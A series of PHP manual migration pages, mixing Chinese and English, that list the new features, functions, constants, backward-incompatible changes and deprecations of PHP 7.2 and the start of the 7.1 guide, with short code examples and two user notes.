ODBC 和 DB2 函数 (PDO_ODBC)

pdo_odbc.db2_instance_name ini 设置项在先前已被废弃。 它在文档中自 PHP 5.1.1 起被废弃

User Contributed Notes

There are no user contributed notes for this page.


Other Changes

PHP Core

Set(raw)cookie accepts $option Argument

setcookie() and setrawcookie() now also support the following signature:

setcookie ( string $name [, string $value = "" [, array $options = [] ]] ) : bool
where $options is an associative array which may have any of the keys "expires", "path", "domain", "secure", "httponly" and "samesite".

New Syslog ini Directives

The following ini Directives have been added to customize logging, if error_log is set to syslog:

syslog.facility
Specifies what type of program is logging the message.
syslog.filter
Specifies the filter type to filter the logged messages. There are three supported filter types - all, no-ctrl and ascii.
syslog.ident
Specifies the ident string which is prepended to every message.

Garbage Collection

The cyclic GC has been enhanced, which may result in considerable performance improvements.

Miscellaneous

var_export() now exports stdClass objects as an array cast to an object ((object) array( ... )), rather than using the nonexistent method stdClass::__setState().

debug_zval_dump() was changed to display recursive arrays and objects in the same way as var_dump(). Now, it doesn't display them twice.

array_push() and array_unshift() can now also be called with a single argument, which is particularly convenient wrt. the spread operator.

Interactive PHP Debugger

The unused constants PHPDBG_FILE, PHPDBG_METHOD, PHPDBG_LINENO and PHPDBG_FUNC have been removed.

FastCGI Process Manager

The getallheaders() function is now also available.

Client URL Library

libcurl ≥ 7.15.5 is now required.

Data Filtering

FILTER_VALIDATE_FLOAT now also supports a thousand option, which defines the set of allowed thousand separator chars. The default ("',.") is fully backward compatible with former PHP versions.

FILTER_SANITIZE_ADD_SLASHES has been added as an alias of the magic_quotes filter (FILTER_SANITIZE_MAGIC_QUOTES). The magic_quotes filter is subject to removal in future versions of PHP.

FTP

The default transfer mode has been changed to binary.

Internationalization Functions

Normalizer::NONE is deprecated, when PHP is linked with ICU ≥ 56.

Introduced Normalizer::FORM_KC_CF as Normalizer::normalize() argument for NFKC_Casefold normalization; available when linked with ICU ≥ 56.

JavaScript Object Notation

A new flag has been added, JSON_THROW_ON_ERROR, which can be used with json_decode() or json_encode() and causes these functions to throw the new JsonException upon an error, instead of setting the global error state that is retrieved with json_last_error() and json_last_error_msg(). JSON_PARTIAL_OUTPUT_ON_ERROR takes precedence over JSON_THROW_ON_ERROR.

Multibyte String

The configuration option --with-libmbfl is no longer available.

ODBC (Unified)

Support for ODBCRouter and Birdstep including the birdstep.max_links ini directive has been removed.

OPcache

The opcache.inherited_hack ini directive has been removed. The value has already been ignored since PHP 5.3.0.

OpenSSL

The min_proto_version and max_proto_version ssl stream options as well as related constants for possible TLS protocol values have been added.

Regular Expressions (Perl-Compatible)

The PCRE extension has been upgraded to PCRE2, which may cause minor behavioral changes (for instance, character ranges in classes are now more strictly interpreted), and augments the existing regular expression syntax.

preg_quote() now also escapes the '#' character.

Microsoft SQL Server and Sybase Functions (PDO_DBLIB)

The attribute PDO::DBLIB_ATTR_SKIP_EMPTY_ROWSETS to enable automatic skipping of empty rowsets has been added.

The PDO::DBLIB_ATTR_TDS_VERSION attribute which exposes the TDS version has been added.

DATETIME2 columns are now treated like DATETIME columns.

SQLite Functions (PDO_SQLITE)

SQLite3 databases can now be opened in read-only mode by setting the new PDO::SQLITE_ATTR_OPEN_FLAGS attribute to PDO::SQLITE_READONLY.

Session Handling

session_set_cookie_params() now also supports the following signature:

session_set_cookie_params ( array $options ) : bool
where $options is an associative array which may have any of the keys "lifetime", "path", "domain", "secure", "httponly" and "samesite". Accordingly, the return value of session_get_cookie_params() now also has an element with the key "samesite". Furthermore, the new session.cookie_samesite ini option to set the default of the SameSite directive for cookies has been added. It defaults to "" (empty string), so no SameSite directive is set. Can be set to "Lax" or "Strict", which sets the respective SameSite directive.

Tidy

Building against » tidyp is now also supported transparently. Since tidyp offers no API to get the release date, tidy_get_release() and tidy::getRelease() return 'unknown' in this case.

XML Parser

The return value of the xml_set_external_entity_ref_handler() callback is now also heeded if the extension has been built against libxml. Formerly, the return value has been ignored, and parsing did never stop.

Zip

Building against the bundled libzip is discouraged, but still possible by adding --without-libzip to the configuration.

Zlib Compression

The zlib/level context option for the compress.zlib wrapper to facilitate setting the desired compression level has been added.

User Contributed Notes

There are no user contributed notes for this page.


Windows Support

PHP Core

More POSIX Conforming File Deletion

File descriptors are opened in shared read/write/delete mode by default. This effectively maps the POSIX semantics and allows to delete files with handles in use. It is not 100% same, some platform differences still persist. After the deletion, the filename entry is blocked, until all the opened handles to it are closed.

User Contributed Notes

There are no user contributed notes for this page.


从PHP 7.1.x 移植到 PHP 7.2.x

Table of Contents

  • 新特性
  • 新函数
  • New global constants
  • Backward incompatible changes
  • PHP 7.2.x 中废弃的功能
  • 其他变更

这个新的小版本带来了大量的 新特性和 少量的兼容性调整 在生产环境切换 PHP 版本前应该进行相关测试。

参见 PHP 版本迁移指南 5.0.x, 5.1.x, 5.2.x, 5.3.x, 5.4.x, 5.5.x, 5.6.x, 7.0.x and 7.1.x.

User Contributed Notes

There are no user contributed notes for this page.


新特性

新的对象类型

这种新的对象类型, object, 引进了可用于逆变（contravariant）参数输入和协变（covariant）返回任何对象类型。

<?php

function test(object $obj) : object
{
    return new SplQueue();
}

test(new StdClass());

通过名称加载扩展

扩展文件不再需要通过文件加载 (Unix下以.so为文件扩展名，在Windows下以 .dll 为文件扩展名) 进行指定。可以在php.ini配置文件进行启用, 也可以使用 dl() 函数进行启用。

允许重写抽象方法(Abstract method)

当一个抽象类继承于另外一个抽象类的时候，继承后的抽象类可以重写被继承的抽象类的抽象方法。

<?php

abstract class A
{
    abstract function test(string $s);
}
abstract class B extends A
{
    // overridden - still maintaining contravariance for parameters and covariance for return
    abstract function test($s) : int;
}

使用Argon2算法生成密码散列

Argon2 已经被加入到密码散列（password hashing） API (这些函数以 password_ 开头), 以下是暴露出来的常量:

  • PASSWORD_ARGON2I
  • PASSWORD_ARGON2_DEFAULT_MEMORY_COST
  • PASSWORD_ARGON2_DEFAULT_TIME_COST
  • PASSWORD_ARGON2_DEFAULT_THREADS

新增 ext/PDO（PDO扩展） 字符串扩展类型

当你准备支持多语言字符集，PDO的字符串类型已经扩展支持国际化的字符集。以下是扩展的常量：

  • PDO::PARAM_STR_NATL
  • PDO::PARAM_STR_CHAR
  • PDO::ATTR_DEFAULT_STR_PARAM

这些常量通过PDO::PARAM_STR利用位运算OR进行计算：

<?php

$db->quote('über', PDO::PARAM_STR | PDO::PARAM_STR_NATL);

为 ext/PDO新增额外的模拟调试信息

PDOStatement::debugDumpParams()方法已经更新，当发送SQL到数据库的时候，在一致性、行查询（包括替换绑定占位符）将会显示调试信息。这一特性已经加入到模拟调试中（在模拟调试打开时可用）。

ext/LDAP（LDAP扩展） 支持新的操作方式

LDAP 扩展已经新增了EXOP支持. 扩展暴露以下函数和常量:

  • ldap_parse_exop()
  • ldap_exop()
  • ldap_exop_passwd()
  • ldap_exop_whoami()
  • LDAP_EXOP_START_TLS
  • LDAP_EXOP_MODIFY_PASSWD
  • LDAP_EXOP_REFRESH
  • LDAP_EXOP_WHO_AM_I
  • LDAP_EXOP_TURN

ext/sockets（sockets扩展）添加了地址信息

sockets扩展现在具有查找地址信息的能力，且可以连接到这个地址，或者进行绑定和解析。为此添加了以下一些函数:

  • socket_addrinfo_lookup()
  • socket_addrinfo_connect()
  • socket_addrinfo_bind()
  • socket_addrinfo_explain()

扩展了参数类型

重写方法和接口实现的参数类型现在可以省略了。不过这仍然是符合LSP，因为现在这种参数类型是逆变的。

<?php

interface A
{
    public function Test(array $input);
}

class B implements A
{
    public function Test($input){} // type omitted for $input
}

允许分组命名空间的尾部逗号

命名空间可以在PHP 7中使用尾随逗号进行分组引入。

<?php

use Foo\Bar\{
    Foo,
    Bar,
    Baz,
};

User Contributed Notes

There are no user contributed notes for this page.


新函数

PHP 内核

  • stream_isatty()
  • sapi_windows_vt100_support()

SPL

  • spl_object_id()

DOM

  • DomNodeList::count()
  • DOMNamedNodeMap::count()

FTP

  • ftp_append()

GD

  • imagesetclip()
  • imagegetclip()
  • imageopenpolygon()
  • imageresolution()
  • imagecreatefrombmp()
  • imagebmp()

Hash

  • hash_hmac_algos()

LDAP

  • ldap_parse_exop()
  • ldap_exop()
  • ldap_exop_passwd()
  • ldap_exop_whoami()

Multibyte String

  • mb_chr()
  • mb_ord()
  • mb_scrub()

Oracle OCI8

  • oci_register_taf_callback()
  • oci_unregister_taf_callback()

Sockets

  • socket_addrinfo_lookup()
  • socket_addrinfo_connect()
  • socket_addrinfo_bind()
  • socket_addrinfo_explain()

Sodium

  • sodium_add()
  • sodium_bin2hex()
  • sodium_compare()
  • sodium_crypto_aead_aes256gcm_decrypt()
  • sodium_crypto_aead_aes256gcm_encrypt()
  • sodium_crypto_aead_aes256gcm_is_available()
  • sodium_crypto_aead_aes256gcm_keygen()
  • sodium_crypto_aead_chacha20poly1305_decrypt()
  • sodium_crypto_aead_chacha20poly1305_encrypt()
  • sodium_crypto_aead_chacha20poly1305_ietf_decrypt()
  • sodium_crypto_aead_chacha20poly1305_ietf_encrypt()
  • sodium_crypto_aead_chacha20poly1305_ietf_keygen()
  • sodium_crypto_aead_chacha20poly1305_keygen()
  • sodium_crypto_auth_keygen()
  • sodium_crypto_auth_verify()
  • sodium_crypto_auth()
  • sodium_crypto_box_keypair_from_secretkey_and_publickey()
  • sodium_crypto_box_keypair()
  • sodium_crypto_box_open()
  • sodium_crypto_box_publickey_from_secretkey()
  • sodium_crypto_box_publickey()
  • sodium_crypto_box_seal_open()
  • sodium_crypto_box_seal()
  • sodium_crypto_box_secretkey()
  • sodium_crypto_box_seed_keypair()
  • sodium_crypto_box()
  • sodium_crypto_generichash_final()
  • sodium_crypto_generichash_init()
  • sodium_crypto_generichash_keygen()
  • sodium_crypto_generichash_update()
  • sodium_crypto_generichash()
  • sodium_crypto_kdf_derive_from_key()
  • sodium_crypto_kdf_keygen()
  • sodium_crypto_kx_client_session_keys()
  • sodium_crypto_kx_keypair()
  • sodium_crypto_kx_publickey()
  • sodium_crypto_kx_secretkey()
  • sodium_crypto_kx_seed_keypair()
  • sodium_crypto_kx_server_session_keys()
  • sodium_crypto_pwhash_scryptsalsa208sha256_str_verify()
  • sodium_crypto_pwhash_scryptsalsa208sha256_str()
  • sodium_crypto_pwhash_scryptsalsa208sha256()
  • sodium_crypto_pwhash_str_verify()
  • sodium_crypto_pwhash_str()
  • sodium_crypto_pwhash()
  • sodium_crypto_scalarmult_base()
  • sodium_crypto_scalarmult()
  • sodium_crypto_secretbox_keygen()
  • sodium_crypto_secretbox_open()
  • sodium_crypto_secretbox()
  • sodium_crypto_shorthash_keygen()
  • sodium_crypto_shorthash()
  • sodium_crypto_sign_detached()
  • sodium_crypto_sign_ed25519_pk_to_curve25519()
  • sodium_crypto_sign_ed25519_sk_to_curve25519()
  • sodium_crypto_sign_keypair_from_secretkey_and_publickey()
  • sodium_crypto_sign_keypair()
  • sodium_crypto_sign_open()
  • sodium_crypto_sign_publickey_from_secretkey()
  • sodium_crypto_sign_publickey()
  • sodium_crypto_sign_secretkey()
  • sodium_crypto_sign_seed_keypair()
  • sodium_crypto_sign_verify_detached()
  • sodium_crypto_sign()
  • sodium_crypto_stream_keygen()
  • sodium_crypto_stream_xor()
  • sodium_crypto_stream()
  • sodium_hex2bin()
  • sodium_increment()
  • sodium_memcmp()
  • sodium_memzero()
  • sodium_pad()
  • sodium_unpad()

ZIP

  • ZipArchive::count()
  • ZipArchive::setEncryptionName()
  • ZipArchive::setEncryptionIndex()

User Contributed Notes

There are no user contributed notes for this page.


New global constants

PHP 内核

  • PHP_FLOAT_DIG
  • PHP_FLOAT_EPSILON
  • PHP_FLOAT_MIN
  • PHP_FLOAT_MAX
  • PHP_OS_FAMILY

文件信息

  • FILEINFO_EXTENSION

JSON

  • JSON_INVALID_UTF8_IGNORE
  • JSON_INVALID_UTF8_SUBSTITUTE

GD

  • IMG_EFFECT_MULTIPLY
  • IMG_BMP

LDAP

  • LDAP_EXOP_START_TLS
  • LDAP_EXOP_MODIFY_PASSWD
  • LDAP_EXOP_REFRESH
  • LDAP_EXOP_WHO_AM_I
  • LDAP_EXOP_TURN

密码散列

  • PASSWORD_ARGON2I
  • PASSWORD_ARGON2_DEFAULT_MEMORY_COST
  • PASSWORD_ARGON2_DEFAULT_TIME_COST
  • PASSWORD_ARGON2_DEFAULT_THREADS

PCRE

  • PREG_UNMATCHED_AS_NULL

PDO

  • PDO::PARAM_STR_NATL
  • PDO::PARAM_STR_CHAR
  • PDO::ATTR_DEFAULT_STR_PARAM

Sodium

  • SODIUM_LIBRARY_VERSION
  • SODIUM_LIBRARY_MAJOR_VERSION
  • SODIUM_LIBRARY_MINOR_VERSION
  • SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES
  • SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES
  • SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES
  • SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES
  • SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES
  • SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES
  • SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES
  • SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES
  • SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES
  • SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES
  • SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES
  • SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES
  • SODIUM_CRYPTO_AUTH_BYTES
  • SODIUM_CRYPTO_AUTH_KEYBYTES
  • SODIUM_CRYPTO_BOX_SEALBYTES
  • SODIUM_CRYPTO_BOX_SECRETKEYBYTES
  • SODIUM_CRYPTO_BOX_PUBLICKEYBYTES
  • SODIUM_CRYPTO_BOX_KEYPAIRBYTES
  • SODIUM_CRYPTO_BOX_MACBYTES
  • SODIUM_CRYPTO_BOX_NONCEBYTES
  • SODIUM_CRYPTO_BOX_SEEDBYTES
  • SODIUM_CRYPTO_KDF_BYTES_MIN
  • SODIUM_CRYPTO_KDF_BYTES_MAX
  • SODIUM_CRYPTO_KDF_CONTEXTBYTES
  • SODIUM_CRYPTO_KDF_KEYBYTES
  • SODIUM_CRYPTO_KX_SEEDBYTES
  • SODIUM_CRYPTO_KX_SESSIONKEYBYTES
  • SODIUM_CRYPTO_KX_PUBLICKEYBYTES
  • SODIUM_CRYPTO_KX_SECRETKEYBYTES
  • SODIUM_CRYPTO_KX_KEYPAIRBYTES
  • SODIUM_CRYPTO_GENERICHASH_BYTES
  • SODIUM_CRYPTO_GENERICHASH_BYTES_MIN
  • SODIUM_CRYPTO_GENERICHASH_BYTES_MAX
  • SODIUM_CRYPTO_GENERICHASH_KEYBYTES
  • SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN
  • SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX
  • SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13
  • SODIUM_CRYPTO_PWHASH_ALG_DEFAULT
  • SODIUM_CRYPTO_PWHASH_SALTBYTES
  • SODIUM_CRYPTO_PWHASH_STRPREFIX
  • SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE
  • SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE
  • SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE
  • SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE
  • SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE
  • SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE
  • SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES
  • SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX
  • SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE
  • SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE
  • SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE
  • SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE
  • SODIUM_CRYPTO_SCALARMULT_BYTES
  • SODIUM_CRYPTO_SCALARMULT_SCALARBYTES
  • SODIUM_CRYPTO_SHORTHASH_BYTES
  • SODIUM_CRYPTO_SHORTHASH_KEYBYTES
  • SODIUM_CRYPTO_SECRETBOX_KEYBYTES
  • SODIUM_CRYPTO_SECRETBOX_MACBYTES
  • SODIUM_CRYPTO_SECRETBOX_NONCEBYTES
  • SODIUM_CRYPTO_SIGN_BYTES
  • SODIUM_CRYPTO_SIGN_SEEDBYTES
  • SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES
  • SODIUM_CRYPTO_SIGN_SECRETKEYBYTES
  • SODIUM_CRYPTO_SIGN_KEYPAIRBYTES
  • SODIUM_CRYPTO_STREAM_NONCEBYTES
  • SODIUM_CRYPTO_STREAM_KEYBYTES

Zip

  • ZipArchive::EM_NONE
  • ZipArchive::EM_AES_128
  • ZipArchive::EM_AES_192
  • ZipArchive::EM_AES_256

User Contributed Notes

There are no user contributed notes for this page.


Backward incompatible changes

Prevent number_format() from returning negative zero

Previously, it was possible for the number_format() function to return -0. Whilst this is perfectly valid according to the IEEE 754 floating point specification, this oddity was not desirable for displaying formatted numbers in a human-readable form.

<?php

var_dump(number_format(-0.01)); // now outputs string(1) "0" instead of string(2) "-0"

Convert numeric keys in object and array casts

Numeric keys are now better handled when casting arrays to objects and objects to arrays (either from explicit casting or by settype()).

This means that integer (or stringy integer) keys from arrays being casted to objects are now accessible:

<?php

// array to object
$arr = [0 => 1];
$obj = (object)$arr;
var_dump(
    $obj,
    $obj->{'0'}, // now accessible
    $obj->{0} // now accessible
);

以上例程会输出：

object(stdClass)#1 (1) {
  ["0"]=>    // string key now, rather than integer key
  int(1)
}
int(1)
int(1)

And integer (or stringy integer) keys from objects being casted to arrays are now accessible:

<?php

// object to array
$obj = new class {
    public function __construct()
    {
        $this->{0} = 1;
    }
};
$arr = (array)$obj;
var_dump(
    $arr,
    $arr[0], // now accessible
    $arr['0'] // now accessible
);

以上例程会输出：

array(1) {
  [0]=>    // integer key now, rather than string key
  int(1)
}
int(1)
int(1)

Disallow passing NULL to get_class()

Previously, passing NULL to the get_class() function would output the name of the enclosing class. This behaviour has now been removed, where an E_WARNING will be output instead. To achieve the same behaviour as before, the argument should simply be omitted.

Warn when counting non-countable types

An E_WARNING will now be emitted when attempting to count() non-countable types (this includes the sizeof() alias function).

<?php

var_dump(
    count(null), // NULL is not countable
    count(1), // integers are not countable
    count('abc'), // strings are not countable
    count(new stdclass), // objects not implementing the Countable interface are not countable
    count([1,2]) // arrays are countable
);

以上例程会输出：

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d
int(0)
int(1)
int(1)
int(1)
int(2)

Move ext/hash from resources to objects

As part of the long-term migration away from resources, the Hash extension has been updated to use objects instead of resources. The change should be seamless for PHP developers, except for where is_resource() checks have been made (which will need updating to is_object() instead).

Improve SSL/TLS defaults

The following changes to the defaults have been made:

  • tls:// now defaults to TLSv1.0 or TLSv1.1 or TLSv1.2
  • ssl:// an alias of tls://
  • STREAM_CRYPTO_METHOD_TLS_* constants default to TLSv1.0 or TLSv1.1 + TLSv1.2, instead of TLSv1.0 only

gettype() return value on closed resources

Previously, using gettype() on a closed resource would return a string of "unknown type". Now, a string of "resource (closed)" will be returned.

is_object() and __PHP_Incomplete_Class

Previously, using is_object() on the __PHP_Incomplete_Class class would return FALSE. Now, TRUE will be returned.

Promote the error level of undefined constants

Unqualified references to undefined constants will now generate an E_WARNING (instead of an E_NOTICE). In the next major version of PHP, they will generate Error exceptions.

Windows support

The officially supported, minimum Windows versions are now Windows 7/Server 2008 R2.

Checks on default property values of traits

Compatibility checks upon default trait property values will no longer perform casting.

object for class names

The object name was previously soft-reserved in PHP 7.0. This is now hard-reserved, prohibiting it from being used as a class, trait, or interface name.

NetWare support

Support for NetWare has now been removed.

array_unique() with SORT_STRING

While array_unique() with SORT_STRING formerly copied the array and removed non-unique elements (without packing the array afterwards), now a new array is built by adding the unique elements. This can result in different numeric indexes.

bcmod() changes with floats

The bcmod() function no longer truncates fractional numbers to integers. As such, its behavior now follows fmod(), rather than the % operator. For example bcmod('4', '3.5') now returns 0.5 instead of 1.

Hashing functions and non-cryptographic hashes

The hash_hmac(), hash_hmac_file(), hash_pbkdf2(), and hash_init() (with HASH_HMAC) functions no longer accept non-cryptographic hashes.

json_decode() function options

The json_decode() function option, JSON_OBJECT_AS_ARRAY, is now used if the second parameter (assoc) is NULL. Previously, JSON_OBJECT_AS_ARRAY was always ignored.

rand() and mt_rand() output

Sequences generated by rand() and mt_rand() for a specific seed may differ from PHP 7.1 on 64-bit machines (due to the fixing of a modulo bias bug in the implementation).

Removal of sql.safe_mode ini setting

The sql.safe_mode ini setting has now been removed.

Changes to date_parse_from_format()

The zone element of the array returned by date_parse_from_format() represents seconds instead of minutes now, and its sign is inverted. For instance -120 is now 7200.

User Contributed Notes

There are no user contributed notes for this page.


PHP 7.2.x 中废弃的功能

不带引号的字符串

不带引号的字符串是不存在的全局常量，转化成他们自身的字符串。 在以前，该行为会产生 E_NOTICE，但现在会产生 E_WARNING。在下一个 PHP 主版本中，将抛出 Error 异常。

<?php

var_dump(NONEXISTENT);

/* Output:
Warning: Use of undefined constant NONEXISTENT - assumed 'NONEXISTENT' (this will throw an Error in a future version of PHP) in %s on line %d
string(11) "NONEXISTENT"
*/

png2wbmp() 和 jpeg2wbmp()

GD 扩展内的 png2wbmp() 和 jpeg2wbmp() 现已被废弃，将在下一个 PHP 主版本中移除。

INTL_IDNA_VARIANT_2003 转化

Intl 扩展废弃了 INTL_IDNA_VARIANT_2003 转化，为idn_to_ascii() 和 idn_to_utf8() 的默认选项。 PHP 7.4 会把默认值设置为 INTL_IDNA_VARIANT_UTS46， 并在下一个 PHP 主版本中完全移除 INTL_IDNA_VARIANT_2003。

__autoload() 方法

__autoload() 方法已被废弃， 因为和 spl_autoload_register() 相比功能较差 (因为无法链式处理多个 autoloader)， 而且也无法在两种 autoloading 样式中配合使用。

track_errors ini 设置和 $php_errormsg 变量

当开启了 track_errors ini 设置，出现非致命错误时， 会在本地作用域创建 $php_errormsg 变量。 由于提供了更好的方式： error_get_last() 来获取此类错误信息，该功能被废弃。

create_function() 函数

考虑到此函数的安全隐患问题（它是 eval() 的瘦包装器），该过时的函数现在已被废弃。 更好的选择是匿名函数。

mbstring.func_overload ini 设置

由于此设置会影响环境中的字符串系列函数，带来相互操作中的问题，它现在已被废弃。

(unset) 类型强制转化

转化任意表达式为此类型，结果总是 NULL，所以这个多余的类型转化现在也就被废弃了。

parse_str() 不加第二个参数

使用 parse_str() 时，不加第二个参数会导致查询字符串参数导入当前符号表。 考虑到安全隐患问题，不加第二个参数使用 parse_str() 的行为已被废弃。 此函数的第二个选项为必填项，它使查询字符串转为 Array。

gmp_random() 函数

此函数基于未知的、取决于平台的 limb 尺寸产生随机数。因此，该函数已被废弃。 使用更好的方式产生随机数： GMP 扩展中的 gmp_random_bits() 和 gmp_random_range()。

each() 函数

使用此函数遍历时，比普通的 foreach 更慢， 并且给新语法的变化带来实现问题。因此它被废弃了。

assert() 一个字符串参数

assert() 字符串参数将要求它能被 eval() 执行。 考虑到可能被执行远程代码，废弃了字符串的 assert()，最好提供 bool 的表达式。

错误处理器内的 $errcontext 参数

$errcontext 参数包含了错误网站的所有本地变量。 考虑到它很少被用到，而且还会导致内部优化问题，它现在被废弃了。 代替用法：调试器应该自己取回错误站点的本地变量。

read_exif_data() 函数

read_exif_data() 别名已被废弃 使用 exif_read_data() 函数代替。

User Contributed Notes

Anonymous 26-Jul-2018 05:09
An empty <?php?> Codeblock in PHP 7.2.0 will put out an "Unquoted strings" warning. To prevent that, add at least one empty space into the codeblock.

Example:
<?php

<?php/*
echo "This was some useful code.\n";
*/?>

?>
Gives: PHP Warning:  Use of undefined constant php - assumed 'php' (this will throw an Error in a future version of PHP)

Fix via:
<?php

<?php   /*
echo "This was some useful code.\";
*/?>

?>

Don't know if that is an intentional behaviour or a side effect.
webmaster at thedigitalorchard dot ca 01-Feb-2018 05:14
Instead of __autoload(), you can use spl_autoload_register() very easily, as per the documentation:

spl_autoload_register(function ($class) {
    include 'classes/' . $class . '.class.php';
});

And this lets you have multiple autoloaders instead of one global one.


其他变更

移动 utf8_encode() 和 utf8_decode()

utf8_encode() 和 utf8_decode() 现在已经作为字符串处理函数移到标准扩展中， 在此之前需要启用 XML 扩展才能使用。

支持 LMDB

DBA 扩展现在已经支持 LMDB。

PHP 构建系统的变更

  • Unix: 构建 PHP 需要 Autoconf 2.64 或更高的版本。
  • Unix: --with-pdo-oci 配置选项不再需要指定 Oracle Instant Client 的版本号数字。
  • Unix: 移除了 --enable-gd-native-ttf 配置参数。自 PHP 5.5.0 以来就已经不再使用。
  • Windows: 添加了 --with-config-profile 配置参数。 可用于保存细节配置，就像是神奇的 config.nice.bat 文件。

GD的变更

  • 当编译时使用了系统的 libgd，imageantialias() 也能生效。
  • imagegd() 以真彩色储存真彩色图像。在此之前，会转化为调色板图像。

移动 MCrypt 到 PECL

MCrypt 扩展从内核移动到 PECL。 考虑到 mcrypt 库自 2007 年以来未见任何更新，不再建议使用。 代替品即可以用 OpenSSL 也可以用Sodium。

User Contributed Notes

There are no user contributed notes for this page.


从PHP 7.0.x 移植到 PHP 7.1.x

Table of Contents

  • 新特性
  • 新的函数
  • 新增的全局常量
  • 不向后兼容的变更
  • PHP 7.1.x 中废弃的特性
  • 变动的函数
  • Other changes
  • Windows支持

这个新的小版本带来了大量的 新特性和 少量的兼容性调整 在生产环境切换 PHP 版本前应该进行相关测试。

参见 PHP 版本迁移指南 5.0.x, 5.1.x, 5.2.x, 5.3.x, 5.4.x, 5.5.x, 5.6.x and 7.0.x.

User Contributed Notes

There are no user contributed notes for this page.


新特性

可为空（Nullable）类型

参数以及返回值的类型现在可以通过在类型前加上一个问号使之允许为空。 当启用这个特性时，传入的参数或者函数返回的结果要么是给定的类型，要么是 null 。

<?php

function testReturn(): ?string
{
    return 'elePHPant';
}

var_dump(testReturn());

function testReturn(): ?string
{
    return null;
}

var_dump(testReturn());

function test(?string $name)
{
    var_dump($name);
}

test('elePHPant');
test(null);
test();

以上例程会输出：

string(10) "elePHPant"
NULL
string(10) "elePHPant"
NULL
Uncaught Error: Too few arguments to function test(), 0 passed in...

Void 函数

一个新的返回值类型void被引入。 返回值声明为 void 类型的方法要么干脆省去 return 语句，要么使用一个空的 return 语句。 对于 void 函数来说，NULL 不是一个合法的返回值。

<?php
function swap(&$left, &$right) : void
{
    if ($left === $right) {
        return;
    }

    $tmp = $left;
    $left = $right;
    $right = $tmp;
}

$a = 1;
$b = 2;
var_dump(swap($a, $b), $a, $b);

以上例程会输出：

null
int(2)
int(1)

试图去获取一个 void 方法的返回值会得到 NULL ，并且不会产生任何警告。这么做的原因是不想影响更高层次的方法。

Symmetric array destructuring

短数组语法（[]）现在作为list()语法的一个备选项，可以用于将数组的值赋给一些变量（包括在foreach中）。

<?php
$data = [
    [1, 'Tom'],
    [2, 'Fred'],
];

// list() style
list($id1, $name1) = $data[0];

// [] style
[$id1, $name1] = $data[0];

// list() style
foreach ($data as list($id, $name)) {
    // logic here with $id and $name
}

// [] style
foreach ($data as [$id, $name]) {
    // logic here with $id and $name
}

类常量可见性

现在起支持设置类常量的可见性。

<?php
class ConstDemo
{
    const PUBLIC_CONST_A = 1;
    public const PUBLIC_CONST_B = 2;
    protected const PROTECTED_CONST = 3;
    private const PRIVATE_CONST = 4;
}

iterable 伪类

现在引入了一个新的被称为iterable的伪类 (与callable类似)。 这可以被用在参数或者返回值类型中，它代表接受数组或者实现了Traversable接口的对象。 至于子类，当用作参数时，子类可以收紧父类的iterable类型到array 或一个实现了Traversable的对象。对于返回值，子类可以拓宽父类的 array或对象返回值类型到iterable。

<?php
function iterator(iterable $iter)
{
    foreach ($iter as $val) {
        //
    }
}

多异常捕获处理

一个catch语句块现在可以通过管道字符(|)来实现多个异常的捕获。 这对于需要同时处理来自不同类的不同异常时很有用。

<?php
try {
    // some code
} catch (FirstException | SecondException $e) {
    // handle first and second exceptions
}

list()现在支持键名

现在list()和它的新的[]语法支持在它内部去指定键名。这意味着它可以将任意类型的数组 都赋值给一些变量（与短数组语法类似）

<?php
$data = [
    ["id" => 1, "name" => 'Tom'],
    ["id" => 2, "name" => 'Fred'],
];

// list() style
list("id" => $id1, "name" => $name1) = $data[0];

// [] style
["id" => $id1, "name" => $name1] = $data[0];

// list() style
foreach ($data as list("id" => $id, "name" => $name)) {
    // logic here with $id and $name
}

// [] style
foreach ($data as ["id" => $id, "name" => $name]) {
    // logic here with $id and $name
}

支持为负的字符串偏移量

现在所有支持偏移量的字符串操作函数 都支持接受负数作为偏移量，包括通过[]或{}操作字符串下标。在这种情况下，一个负数的偏移量会被理解为一个从字符串结尾开始的偏移量。

<?php
var_dump("abcdef"[-2]);
var_dump(strpos("aabbcc", "b", -3));

以上例程会输出：

string (1) "e"
int(3)

Negative string and array offsets are now also supported in the simple variable parsing syntax inside of strings.

<?php
$string = 'bar';
echo "The last character of '$string' is '$string[-1]'.\n";
?>

以上例程会输出：

The last character of 'bar' is 'r'.

ext/openssl 支持 AEAD

